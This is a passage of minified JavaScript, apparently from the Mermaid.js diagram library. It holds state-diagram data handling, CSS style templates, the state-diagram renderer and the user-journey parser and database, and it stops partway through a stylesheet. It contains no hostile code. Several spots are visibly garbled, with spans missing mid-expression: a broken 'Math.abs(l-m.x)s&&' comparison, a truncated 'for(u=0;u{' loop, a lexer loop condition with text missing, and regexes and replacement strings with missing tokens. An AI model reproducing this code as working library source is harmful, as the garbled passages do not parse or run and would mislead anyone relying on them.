i=this.startIdIfNeeded(e.id.trim()),a=this.startTypeIfNeeded(e.id.trim(),e.type),s=this.startIdIfNeeded(r.id.trim()),l=this.startTypeIfNeeded(r.id.trim(),r.type);this.addState(i,a,e.doc,e.description,e.note,e.classes,e.styles,e.textStyles),this.addState(s,l,r.doc,r.description,r.note,r.classes,r.styles,r.textStyles),this.currentDocument.relations.push({id1:i,id2:s,relationTitle:tt.sanitizeText(n,ge())})}addRelation(e,r,n){if(typeof e=="object"&&typeof r=="object")this.addRelationObjs(e,r,n);else if(typeof e=="string"&&typeof r=="string"){let i=this.startIdIfNeeded(e.trim()),a=this.startTypeIfNeeded(e),s=this.endIdIfNeeded(r.trim()),l=this.endTypeIfNeeded(r);this.addState(i,a),this.addState(s,l),this.currentDocument.relations.push({id1:i,id2:s,relationTitle:n?tt.sanitizeText(n,ge()):void 0})}}addDescription(e,r){let n=this.currentDocument.states.get(e),i=r.startsWith(":")?r.replace(":","").trim():r;n?.descriptions?.push(tt.sanitizeText(i,ge()))}cleanupLabel(e){return e.startsWith(":")?e.slice(2).trim():e.trim()}getDividerId(){return this.dividerCnt++,`divider-id-${this.dividerCnt}`}addStyleClass(e,r=""){this.classes.has(e)||this.classes.set(e,{id:e,styles:[],textStyles:[]});let n=this.classes.get(e);r&&n&&r.split(ws.STYLECLASS_SEP).forEach(i=>{let a=i.replace(/([^;]*);/,"$1").trim();if(RegExp(ws.COLOR_KEYWORD).exec(i)){let l=a.replace(ws.FILL_KEYWORD,ws.BG_FILL).replace(ws.COLOR_KEYWORD,ws.FILL_KEYWORD);n.textStyles.push(l)}n.styles.push(a)})}getClasses(){return this.classes}setCssClass(e,r){e.split(",").forEach(n=>{let i=this.getState(n);if(!i){let a=n.trim();this.addState(a),i=this.getState(a)}i?.classes?.push(r)})}setStyle(e,r){this.getState(e)?.styles?.push(r)}setTextStyle(e,r){this.getState(e)?.textStyles?.push(r)}getDirectionStatement(){return this.rootDoc.find(e=>e.stmt==="dir")}getDirection(){return this.getDirectionStatement()?.value??"TB"}setDirection(e){let r=this.getDirectionStatement();r?r.value=e:this.rootDoc.unshift({stmt:"dir",value:e})}trimColon(e){return e.startsWith(":")?e.slice(1).trim():e.trim()}getData(){let e=ge();return{nodes:this.nodes,edges:this.edges,other:{},config:e,direction:E$(this.getRootDocV2())}}getConfig(){return ge().state}}});var set,yC,C$=N(()=>{"use strict";set=o(t=>` +defs #statediagram-barbEnd { + fill: ${t.transitionColor}; + stroke: ${t.transitionColor}; + } +g.stateGroup text { + fill: ${t.nodeBorder}; + stroke: none; + font-size: 10px; +} +g.stateGroup text { + fill: ${t.textColor}; + stroke: none; + font-size: 10px; + +} +g.stateGroup .state-title { + font-weight: bolder; + fill: ${t.stateLabelColor}; +} + +g.stateGroup rect { + fill: ${t.mainBkg}; + stroke: ${t.nodeBorder}; +} + +g.stateGroup line { + stroke: ${t.lineColor}; + stroke-width: 1; +} + +.transition { + stroke: ${t.transitionColor}; + stroke-width: 1; + fill: none; +} + +.stateGroup .composit { + fill: ${t.background}; + border-bottom: 1px +} + +.stateGroup .alt-composit { + fill: #e0e0e0; + border-bottom: 1px +} + +.state-note { + stroke: ${t.noteBorderColor}; + fill: ${t.noteBkgColor}; + + text { + fill: ${t.noteTextColor}; + stroke: none; + font-size: 10px; + } +} + +.stateLabel .box { + stroke: none; + stroke-width: 0; + fill: ${t.mainBkg}; + opacity: 0.5; +} + +.edgeLabel .label rect { + fill: ${t.labelBackgroundColor}; + opacity: 0.5; +} +.edgeLabel { + background-color: ${t.edgeLabelBackground}; + p { + background-color: ${t.edgeLabelBackground}; + } + rect { + opacity: 0.5; + background-color: ${t.edgeLabelBackground}; + fill: ${t.edgeLabelBackground}; + } + text-align: center; +} +.edgeLabel .label text { + fill: ${t.transitionLabelColor||t.tertiaryTextColor}; +} +.label div .edgeLabel { + color: ${t.transitionLabelColor||t.tertiaryTextColor}; +} + +.stateLabel text { + fill: ${t.stateLabelColor}; + font-size: 10px; + font-weight: bold; +} + +.node circle.state-start { + fill: ${t.specialStateColor}; + stroke: ${t.specialStateColor}; +} + +.node .fork-join { + fill: ${t.specialStateColor}; + stroke: ${t.specialStateColor}; +} + +.node circle.state-end { + fill: ${t.innerEndBackground}; + stroke: ${t.background}; + stroke-width: 1.5 +} +.end-state-inner { + fill: ${t.compositeBackground||t.background}; + // stroke: ${t.background}; + stroke-width: 1.5 +} + +.node rect { + fill: ${t.stateBkg||t.mainBkg}; + stroke: ${t.stateBorder||t.nodeBorder}; + stroke-width: 1px; +} +.node polygon { + fill: ${t.mainBkg}; + stroke: ${t.stateBorder||t.nodeBorder};; + stroke-width: 1px; +} +#statediagram-barbEnd { + fill: ${t.lineColor}; +} + +.statediagram-cluster rect { + fill: ${t.compositeTitleBackground}; + stroke: ${t.stateBorder||t.nodeBorder}; + stroke-width: 1px; +} + +.cluster-label, .nodeLabel { + color: ${t.stateLabelColor}; + // line-height: 1; +} + +.statediagram-cluster rect.outer { + rx: 5px; + ry: 5px; +} +.statediagram-state .divider { + stroke: ${t.stateBorder||t.nodeBorder}; +} + +.statediagram-state .title-state { + rx: 5px; + ry: 5px; +} +.statediagram-cluster.statediagram-cluster .inner { + fill: ${t.compositeBackground||t.background}; +} +.statediagram-cluster.statediagram-cluster-alt .inner { + fill: ${t.altBackground?t.altBackground:"#efefef"}; +} + +.statediagram-cluster .inner { + rx:0; + ry:0; +} + +.statediagram-state rect.basic { + rx: 5px; + ry: 5px; +} +.statediagram-state rect.divider { + stroke-dasharray: 10,10; + fill: ${t.altBackground?t.altBackground:"#efefef"}; +} + +.note-edge { + stroke-dasharray: 5; +} + +.statediagram-note rect { + fill: ${t.noteBkgColor}; + stroke: ${t.noteBorderColor}; + stroke-width: 1px; + rx: 0; + ry: 0; +} +.statediagram-note rect { + fill: ${t.noteBkgColor}; + stroke: ${t.noteBorderColor}; + stroke-width: 1px; + rx: 0; + ry: 0; +} + +.statediagram-note text { + fill: ${t.noteTextColor}; +} + +.statediagram-note .nodeLabel { + color: ${t.noteTextColor}; +} +.statediagram .edgeLabel { + color: red; // ${t.noteTextColor}; +} + +#dependencyStart, #dependencyEnd { + fill: ${t.lineColor}; + stroke: ${t.lineColor}; + stroke-width: 1; +} + +.statediagramTitleText { + text-anchor: middle; + font-size: 18px; + fill: ${t.textColor}; +} +`,"getStyles"),yC=set});var oet,cet,uet,het,Lve,fet,det,pet,met,A$,Dve,Rve,Nve=N(()=>{"use strict";yr();gC();tr();gr();Xt();pt();oet=o(t=>t.append("circle").attr("class","start-state").attr("r",ge().state.sizeUnit).attr("cx",ge().state.padding+ge().state.sizeUnit).attr("cy",ge().state.padding+ge().state.sizeUnit),"drawStartState"),cet=o(t=>t.append("line").style("stroke","grey").style("stroke-dasharray","3").attr("x1",ge().state.textHeight).attr("class","divider").attr("x2",ge().state.textHeight*2).attr("y1",0).attr("y2",0),"drawDivider"),uet=o((t,e)=>{let r=t.append("text").attr("x",2*ge().state.padding).attr("y",ge().state.textHeight+2*ge().state.padding).attr("font-size",ge().state.fontSize).attr("class","state-title").text(e.id),n=r.node().getBBox();return t.insert("rect",":first-child").attr("x",ge().state.padding).attr("y",ge().state.padding).attr("width",n.width+2*ge().state.padding).attr("height",n.height+2*ge().state.padding).attr("rx",ge().state.radius),r},"drawSimpleState"),het=o((t,e)=>{let r=o(function(p,m,g){let y=p.append("tspan").attr("x",2*ge().state.padding).text(m);g||y.attr("dy",ge().state.textHeight)},"addTspan"),i=t.append("text").attr("x",2*ge().state.padding).attr("y",ge().state.textHeight+1.3*ge().state.padding).attr("font-size",ge().state.fontSize).attr("class","state-title").text(e.descriptions[0]).node().getBBox(),a=i.height,s=t.append("text").attr("x",ge().state.padding).attr("y",a+ge().state.padding*.4+ge().state.dividerMargin+ge().state.textHeight).attr("class","state-description"),l=!0,u=!0;e.descriptions.forEach(function(p){l||(r(s,p,u),u=!1),l=!1});let h=t.append("line").attr("x1",ge().state.padding).attr("y1",ge().state.padding+a+ge().state.dividerMargin/2).attr("y2",ge().state.padding+a+ge().state.dividerMargin/2).attr("class","descr-divider"),f=s.node().getBBox(),d=Math.max(f.width,i.width);return h.attr("x2",d+3*ge().state.padding),t.insert("rect",":first-child").attr("x",ge().state.padding).attr("y",ge().state.padding).attr("width",d+2*ge().state.padding).attr("height",f.height+a+2*ge().state.padding).attr("rx",ge().state.radius),t},"drawDescrState"),Lve=o((t,e,r)=>{let n=ge().state.padding,i=2*ge().state.padding,a=t.node().getBBox(),s=a.width,l=a.x,u=t.append("text").attr("x",0).attr("y",ge().state.titleShift).attr("font-size",ge().state.fontSize).attr("class","state-title").text(e.id),f=u.node().getBBox().width+i,d=Math.max(f,s);d===s&&(d=d+i);let p,m=t.node().getBBox();e.doc,p=l-n,f>s&&(p=(s-d)/2+n),Math.abs(l-m.x)s&&(p=l-(f-s)/2);let g=1-ge().state.textHeight;return t.insert("rect",":first-child").attr("x",p).attr("y",g).attr("class",r?"alt-composit":"composit").attr("width",d).attr("height",m.height+ge().state.textHeight+ge().state.titleShift+1).attr("rx","0"),u.attr("x",p+n),f<=s&&u.attr("x",l+(d-i)/2-f/2+n),t.insert("rect",":first-child").attr("x",p).attr("y",ge().state.titleShift-ge().state.textHeight-ge().state.padding).attr("width",d).attr("height",ge().state.textHeight*3).attr("rx",ge().state.radius),t.insert("rect",":first-child").attr("x",p).attr("y",ge().state.titleShift-ge().state.textHeight-ge().state.padding).attr("width",d).attr("height",m.height+3+2*ge().state.textHeight).attr("rx",ge().state.radius),t},"addTitleAndBox"),fet=o(t=>(t.append("circle").attr("class","end-state-outer").attr("r",ge().state.sizeUnit+ge().state.miniPadding).attr("cx",ge().state.padding+ge().state.sizeUnit+ge().state.miniPadding).attr("cy",ge().state.padding+ge().state.sizeUnit+ge().state.miniPadding),t.append("circle").attr("class","end-state-inner").attr("r",ge().state.sizeUnit).attr("cx",ge().state.padding+ge().state.sizeUnit+2).attr("cy",ge().state.padding+ge().state.sizeUnit+2)),"drawEndState"),det=o((t,e)=>{let r=ge().state.forkWidth,n=ge().state.forkHeight;if(e.parentId){let i=r;r=n,n=i}return t.append("rect").style("stroke","black").style("fill","black").attr("width",r).attr("height",n).attr("x",ge().state.padding).attr("y",ge().state.padding)},"drawForkJoinState"),pet=o((t,e,r,n)=>{let i=0,a=n.append("text");a.style("text-anchor","start"),a.attr("class","noteText");let s=t.replace(/\r\n/g,"
    ");s=s.replace(/\n/g,"
    ");let l=s.split(tt.lineBreakRegex),u=1.25*ge().state.noteMargin;for(let h of l){let f=h.trim();if(f.length>0){let d=a.append("tspan");if(d.text(f),u===0){let p=d.node().getBBox();u+=p.height}i+=u,d.attr("x",e+ge().state.noteMargin),d.attr("y",r+i+1.25*ge().state.noteMargin)}}return{textWidth:a.node().getBBox().width,textHeight:i}},"_drawLongText"),met=o((t,e)=>{e.attr("class","state-note");let r=e.append("rect").attr("x",0).attr("y",ge().state.padding),n=e.append("g"),{textWidth:i,textHeight:a}=pet(t,0,0,n);return r.attr("height",a+2*ge().state.noteMargin),r.attr("width",i+ge().state.noteMargin*2),r},"drawNote"),A$=o(function(t,e){let r=e.id,n={id:r,label:e.id,width:0,height:0},i=t.append("g").attr("id",r).attr("class","stateGroup");e.type==="start"&&oet(i),e.type==="end"&&fet(i),(e.type==="fork"||e.type==="join")&&det(i,e),e.type==="note"&&met(e.note.text,i),e.type==="divider"&&cet(i),e.type==="default"&&e.descriptions.length===0&&uet(i,e),e.type==="default"&&e.descriptions.length>0&&het(i,e);let a=i.node().getBBox();return n.width=a.width+2*ge().state.padding,n.height=a.height+2*ge().state.padding,n},"drawState"),Dve=0,Rve=o(function(t,e,r){let n=o(function(u){switch(u){case al.relationType.AGGREGATION:return"aggregation";case al.relationType.EXTENSION:return"extension";case al.relationType.COMPOSITION:return"composition";case al.relationType.DEPENDENCY:return"dependency"}},"getRelationType");e.points=e.points.filter(u=>!Number.isNaN(u.y));let i=e.points,a=Cl().x(function(u){return u.x}).y(function(u){return u.y}).curve(No),s=t.append("path").attr("d",a(i)).attr("id","edge"+Dve).attr("class","transition"),l="";if(ge().state.arrowMarkerAbsolute&&(l=md(!0)),s.attr("marker-end","url("+l+"#"+n(al.relationType.DEPENDENCY)+"End)"),r.title!==void 0){let u=t.append("g").attr("class","stateLabel"),{x:h,y:f}=qt.calcLabelPosition(e.points),d=tt.getRows(r.title),p=0,m=[],g=0,y=0;for(let b=0;b<=d.length;b++){let T=u.append("text").attr("text-anchor","middle").text(d[b]).attr("x",h).attr("y",f+p),S=T.node().getBBox();g=Math.max(g,S.width),y=Math.min(y,S.x),X.info(S.x,h,f+p),p===0&&(p=T.node().getBBox().height,X.info("Title height",p,f)),m.push(T)}let v=p*d.length;if(d.length>1){let b=(d.length-1)*p*.5;m.forEach((T,S)=>T.attr("y",f+S*p-b)),v=p*d.length}let x=u.node().getBBox();u.insert("rect",":first-child").attr("class","box").attr("x",h-g/2-ge().state.padding/2).attr("y",f-v/2-ge().state.padding/2-3.5).attr("width",g+ge().state.padding).attr("height",v+ge().state.padding),X.info(x)}Dve++},"drawEdge")});var bo,_$,get,yet,vet,xet,Mve,Ive,Ove=N(()=>{"use strict";yr();hN();qo();pt();gr();Nve();Xt();Ei();_$={},get=o(function(){},"setConf"),yet=o(function(t){t.append("defs").append("marker").attr("id","dependencyEnd").attr("refX",19).attr("refY",7).attr("markerWidth",20).attr("markerHeight",28).attr("orient","auto").append("path").attr("d","M 19,7 L9,13 L14,7 L9,1 Z")},"insertMarkers"),vet=o(function(t,e,r,n){bo=ge().state;let i=ge().securityLevel,a;i==="sandbox"&&(a=qe("#i"+e));let s=i==="sandbox"?qe(a.nodes()[0].contentDocument.body):qe("body"),l=i==="sandbox"?a.nodes()[0].contentDocument:document;X.debug("Rendering diagram "+t);let u=s.select(`[id='${e}']`);yet(u);let h=n.db.getRootDoc();Mve(h,u,void 0,!1,s,l,n);let f=bo.padding,d=u.node().getBBox(),p=d.width+f*2,m=d.height+f*2,g=p*1.75;mn(u,m,g,bo.useMaxWidth),u.attr("viewBox",`${d.x-bo.padding} ${d.y-bo.padding} `+p+" "+m)},"draw"),xet=o(t=>t?t.length*bo.fontSizeFactor:1,"getLabelWidth"),Mve=o((t,e,r,n,i,a,s)=>{let l=new cn({compound:!0,multigraph:!0}),u,h=!0;for(u=0;u{let w=S.parentElement,k=0,A=0;w&&(w.parentElement&&(k=w.parentElement.getBBox().width),A=parseInt(w.getAttribute("data-x-shift"),10),Number.isNaN(A)&&(A=0)),S.setAttribute("x1",0-A+8),S.setAttribute("x2",k-A-8)})):X.debug("No Node "+b+": "+JSON.stringify(l.node(b)))});let v=y.getBBox();l.edges().forEach(function(b){b!==void 0&&l.edge(b)!==void 0&&(X.debug("Edge "+b.v+" -> "+b.w+": "+JSON.stringify(l.edge(b))),Rve(e,l.edge(b),l.edge(b).relation))}),v=y.getBBox();let x={id:r||"root",label:r||"root",width:0,height:0};return x.width=v.width+2*bo.padding,x.height=v.height+2*bo.padding,X.debug("Doc rendered",x,l),x},"renderDoc"),Ive={setConf:get,draw:vet}});var Pve={};dr(Pve,{diagram:()=>bet});var bet,Bve=N(()=>{"use strict";h$();gC();C$();Ove();bet={parser:oC,get db(){return new al(1)},renderer:Ive,styles:yC,init:o(t=>{t.state||(t.state={}),t.state.arrowMarkerAbsolute=t.arrowMarkerAbsolute},"init")}});var zve={};dr(zve,{diagram:()=>Eet});var Eet,Gve=N(()=>{"use strict";h$();gC();C$();S$();Eet={parser:oC,get db(){return new al(2)},renderer:Sve,styles:yC,init:o(t=>{t.state||(t.state={}),t.state.arrowMarkerAbsolute=t.arrowMarkerAbsolute},"init")}});var D$,Hve,qve=N(()=>{"use strict";D$=(function(){var t=o(function(d,p,m,g){for(m=m||{},g=d.length;g--;m[d[g]]=p);return m},"o"),e=[6,8,10,11,12,14,16,17,18],r=[1,9],n=[1,10],i=[1,11],a=[1,12],s=[1,13],l=[1,14],u={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,journey:4,document:5,EOF:6,line:7,SPACE:8,statement:9,NEWLINE:10,title:11,acc_title:12,acc_title_value:13,acc_descr:14,acc_descr_value:15,acc_descr_multiline_value:16,section:17,taskName:18,taskData:19,$accept:0,$end:1},terminals_:{2:"error",4:"journey",6:"EOF",8:"SPACE",10:"NEWLINE",11:"title",12:"acc_title",13:"acc_title_value",14:"acc_descr",15:"acc_descr_value",16:"acc_descr_multiline_value",17:"section",18:"taskName",19:"taskData"},productions_:[0,[3,3],[5,0],[5,2],[7,2],[7,1],[7,1],[7,1],[9,1],[9,2],[9,2],[9,1],[9,1],[9,2]],performAction:o(function(p,m,g,y,v,x,b){var T=x.length-1;switch(v){case 1:return x[T-1];case 2:this.$=[];break;case 3:x[T-1].push(x[T]),this.$=x[T-1];break;case 4:case 5:this.$=x[T];break;case 6:case 7:this.$=[];break;case 8:y.setDiagramTitle(x[T].substr(6)),this.$=x[T].substr(6);break;case 9:this.$=x[T].trim(),y.setAccTitle(this.$);break;case 10:case 11:this.$=x[T].trim(),y.setAccDescription(this.$);break;case 12:y.addSection(x[T].substr(8)),this.$=x[T].substr(8);break;case 13:y.addTask(x[T-1],x[T]),this.$="task";break}},"anonymous"),table:[{3:1,4:[1,2]},{1:[3]},t(e,[2,2],{5:3}),{6:[1,4],7:5,8:[1,6],9:7,10:[1,8],11:r,12:n,14:i,16:a,17:s,18:l},t(e,[2,7],{1:[2,1]}),t(e,[2,3]),{9:15,11:r,12:n,14:i,16:a,17:s,18:l},t(e,[2,5]),t(e,[2,6]),t(e,[2,8]),{13:[1,16]},{15:[1,17]},t(e,[2,11]),t(e,[2,12]),{19:[1,18]},t(e,[2,4]),t(e,[2,9]),t(e,[2,10]),t(e,[2,13])],defaultActions:{},parseError:o(function(p,m){if(m.recoverable)this.trace(p);else{var g=new Error(p);throw g.hash=m,g}},"parseError"),parse:o(function(p){var m=this,g=[0],y=[],v=[null],x=[],b=this.table,T="",S=0,w=0,k=0,A=2,C=1,R=x.slice.call(arguments,1),I=Object.create(this.lexer),L={yy:{}};for(var E in this.yy)Object.prototype.hasOwnProperty.call(this.yy,E)&&(L.yy[E]=this.yy[E]);I.setInput(p,L.yy),L.yy.lexer=I,L.yy.parser=this,typeof I.yylloc>"u"&&(I.yylloc={});var D=I.yylloc;x.push(D);var _=I.options&&I.options.ranges;typeof L.yy.parseError=="function"?this.parseError=L.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function O(re){g.length=g.length-2*re,v.length=v.length-re,x.length=x.length-re}o(O,"popStack");function M(){var re;return re=y.pop()||I.lex()||C,typeof re!="number"&&(re instanceof Array&&(y=re,re=y.pop()),re=m.symbols_[re]||re),re}o(M,"lex");for(var P,B,F,G,$,U,j={},te,Y,oe,J;;){if(F=g[g.length-1],this.defaultActions[F]?G=this.defaultActions[F]:((P===null||typeof P>"u")&&(P=M()),G=b[F]&&b[F][P]),typeof G>"u"||!G.length||!G[0]){var ue="";J=[];for(te in b[F])this.terminals_[te]&&te>A&&J.push("'"+this.terminals_[te]+"'");I.showPosition?ue="Parse error on line "+(S+1)+`: +`+I.showPosition()+` +Expecting `+J.join(", ")+", got '"+(this.terminals_[P]||P)+"'":ue="Parse error on line "+(S+1)+": Unexpected "+(P==C?"end of input":"'"+(this.terminals_[P]||P)+"'"),this.parseError(ue,{text:I.match,token:this.terminals_[P]||P,line:I.yylineno,loc:D,expected:J})}if(G[0]instanceof Array&&G.length>1)throw new Error("Parse Error: multiple actions possible at state: "+F+", token: "+P);switch(G[0]){case 1:g.push(P),v.push(I.yytext),x.push(I.yylloc),g.push(G[1]),P=null,B?(P=B,B=null):(w=I.yyleng,T=I.yytext,S=I.yylineno,D=I.yylloc,k>0&&k--);break;case 2:if(Y=this.productions_[G[1]][1],j.$=v[v.length-Y],j._$={first_line:x[x.length-(Y||1)].first_line,last_line:x[x.length-1].last_line,first_column:x[x.length-(Y||1)].first_column,last_column:x[x.length-1].last_column},_&&(j._$.range=[x[x.length-(Y||1)].range[0],x[x.length-1].range[1]]),U=this.performAction.apply(j,[T,w,S,L.yy,G[1],v,x].concat(R)),typeof U<"u")return U;Y&&(g=g.slice(0,-1*Y*2),v=v.slice(0,-1*Y),x=x.slice(0,-1*Y)),g.push(this.productions_[G[1]][0]),v.push(j.$),x.push(j._$),oe=b[g[g.length-2]][g[g.length-1]],g.push(oe);break;case 3:return!0}}return!0},"parse")},h=(function(){var d={EOF:1,parseError:o(function(m,g){if(this.yy.parser)this.yy.parser.parseError(m,g);else throw new Error(m)},"parseError"),setInput:o(function(p,m){return this.yy=m||this.yy||{},this._input=p,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var p=this._input[0];this.yytext+=p,this.yyleng++,this.offset++,this.match+=p,this.matched+=p;var m=p.match(/(?:\r\n?|\n).*/g);return m?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),p},"input"),unput:o(function(p){var m=p.length,g=p.split(/(?:\r\n?|\n)/g);this._input=p+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-m),this.offset-=m;var y=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),g.length-1&&(this.yylineno-=g.length-1);var v=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:g?(g.length===y.length?this.yylloc.first_column:0)+y[y.length-g.length].length-g[0].length:this.yylloc.first_column-m},this.options.ranges&&(this.yylloc.range=[v[0],v[0]+this.yyleng-m]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(p){this.unput(this.match.slice(p))},"less"),pastInput:o(function(){var p=this.matched.substr(0,this.matched.length-this.match.length);return(p.length>20?"...":"")+p.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var p=this.match;return p.length<20&&(p+=this._input.substr(0,20-p.length)),(p.substr(0,20)+(p.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var p=this.pastInput(),m=new Array(p.length+1).join("-");return p+this.upcomingInput()+` +`+m+"^"},"showPosition"),test_match:o(function(p,m){var g,y,v;if(this.options.backtrack_lexer&&(v={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(v.yylloc.range=this.yylloc.range.slice(0))),y=p[0].match(/(?:\r\n?|\n).*/g),y&&(this.yylineno+=y.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:y?y[y.length-1].length-y[y.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+p[0].length},this.yytext+=p[0],this.match+=p[0],this.matches=p,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(p[0].length),this.matched+=p[0],g=this.performAction.call(this,this.yy,this,m,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),g)return g;if(this._backtrack){for(var x in v)this[x]=v[x];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var p,m,g,y;this._more||(this.yytext="",this.match="");for(var v=this._currentRules(),x=0;xm[0].length)){if(m=g,y=x,this.options.backtrack_lexer){if(p=this.test_match(g,v[x]),p!==!1)return p;if(this._backtrack){m=!1;continue}else return!1}else if(!this.options.flex)break}return m?(p=this.test_match(m,v[y]),p!==!1?p:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var m=this.next();return m||this.lex()},"lex"),begin:o(function(m){this.conditionStack.push(m)},"begin"),popState:o(function(){var m=this.conditionStack.length-1;return m>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(m){return m=this.conditionStack.length-1-Math.abs(m||0),m>=0?this.conditionStack[m]:"INITIAL"},"topState"),pushState:o(function(m){this.begin(m)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function(m,g,y,v){var x=v;switch(y){case 0:break;case 1:break;case 2:return 10;case 3:break;case 4:break;case 5:return 4;case 6:return 11;case 7:return this.begin("acc_title"),12;break;case 8:return this.popState(),"acc_title_value";break;case 9:return this.begin("acc_descr"),14;break;case 10:return this.popState(),"acc_descr_value";break;case 11:this.begin("acc_descr_multiline");break;case 12:this.popState();break;case 13:return"acc_descr_multiline_value";case 14:return 17;case 15:return 18;case 16:return 19;case 17:return":";case 18:return 6;case 19:return"INVALID"}},"anonymous"),rules:[/^(?:%(?!\{)[^\n]*)/i,/^(?:[^\}]%%[^\n]*)/i,/^(?:[\n]+)/i,/^(?:\s+)/i,/^(?:#[^\n]*)/i,/^(?:journey\b)/i,/^(?:title\s[^#\n;]+)/i,/^(?:accTitle\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*\{\s*)/i,/^(?:[\}])/i,/^(?:[^\}]*)/i,/^(?:section\s[^#:\n;]+)/i,/^(?:[^#:\n;]+)/i,/^(?::[^#\n;]+)/i,/^(?::)/i,/^(?:$)/i,/^(?:.)/i],conditions:{acc_descr_multiline:{rules:[12,13],inclusive:!1},acc_descr:{rules:[10],inclusive:!1},acc_title:{rules:[8],inclusive:!1},INITIAL:{rules:[0,1,2,3,4,5,6,7,9,11,14,15,16,17,18,19],inclusive:!0}}};return d})();u.lexer=h;function f(){this.yy={}}return o(f,"Parser"),f.prototype=u,u.Parser=f,new f})();D$.parser=D$;Hve=D$});var cy,L$,S4,C4,Det,Let,Ret,Net,Met,Iet,Oet,Wve,Pet,R$,Yve=N(()=>{"use strict";Xt();ci();cy="",L$=[],S4=[],C4=[],Det=o(function(){L$.length=0,S4.length=0,cy="",C4.length=0,Sr()},"clear"),Let=o(function(t){cy=t,L$.push(t)},"addSection"),Ret=o(function(){return L$},"getSections"),Net=o(function(){let t=Wve(),e=100,r=0;for(;!t&&r{r.people&&t.push(...r.people)}),[...new Set(t)].sort()},"updateActors"),Iet=o(function(t,e){let r=e.substr(1).split(":"),n=0,i=[];r.length===1?(n=Number(r[0]),i=[]):(n=Number(r[0]),i=r[1].split(","));let a=i.map(l=>l.trim()),s={section:cy,type:cy,people:a,task:t,score:n};C4.push(s)},"addTask"),Oet=o(function(t){let e={section:cy,type:cy,description:t,task:t,classes:[]};S4.push(e)},"addTaskOrg"),Wve=o(function(){let t=o(function(r){return C4[r].processed},"compileTask"),e=!0;for(let[r,n]of C4.entries())t(r),e=e&&n.processed;return e},"compileTasks"),Pet=o(function(){return Met()},"getActors"),R$={getConfig:o(()=>ge().journey,"getConfig"),clear:Det,setDiagramTitle:$r,getDiagramTitle:Pr,setAccTitle:Rr,getAccTitle:Mr,setAccDescription:Ir,getAccDescription:Or,addSection:Let,getSections:Ret,getTasks:Net,addTask:Iet,addTaskOrg:Oet,getActors:Pet}});var Bet,Xve,jve=N(()=>{"use strict";yg();Bet=o(t=>`.label { + font-family: ${t.fontFamily}; + color: ${t.textColor}; + } + .mouth { + stroke: #666; + } + + line { + stroke: ${t.textColor} + } + + .legend { + fill: ${t.textColor}; + font-family: ${t.fontFamily}; + } + + .label text { + fill: #333; + } + .label { + color: ${t.textColor} + } + + .face { + ${t.faceColor?`fill: ${t.faceColor}`:"fill: #FFF8DC"}; + stroke: #999; + } + + .node rect, + .node circle, + .node ellipse, + .node polygon, + .node path { + fill: ${t.mainBkg}; + stroke: ${t.nodeBorder}; + stroke-width: 1px; + } + + .node .label { + text-align: center; + } + .node.clickable { + cursor: pointer; + } + + .arrowheadPath { + fill: ${t.arrowheadColor}; + } + + .edgePath .path { + stroke: ${t.lineColor}; + stroke-width: 1.5px; + } + + .flowchart-link { + stroke: ${t.lineColor}; + fill: none; + } + + .edgeLabel { + background-color: ${t.edgeLabelBackground}; + rect { + opacity: 0.5; + } + text-align: center; + } + + .cluster rect { + } + + .cluster text { + fill: ${t.titleColor}; + } + + div.mermaidTooltip { + position: absolute; + text-align: center; + max-width: 200px; + padding: 2px; + font-family: ${t.fontFamily}; + font-size: 12px; + background: ${t.tertiaryColor}; + border: 1px solid ${t.border2}; + border-radius: 2px; + pointer-events: none; + z-index: 100; + } + + .task-type-0, .section-type-0 { + ${t.fillType0?`fill: ${t.fillType0}`:""}; + } + .task-type-1, .section-type-1 { + ${t.fillType0?`fill: ${t.fillType1}`:""}; + } + .task-type-2, 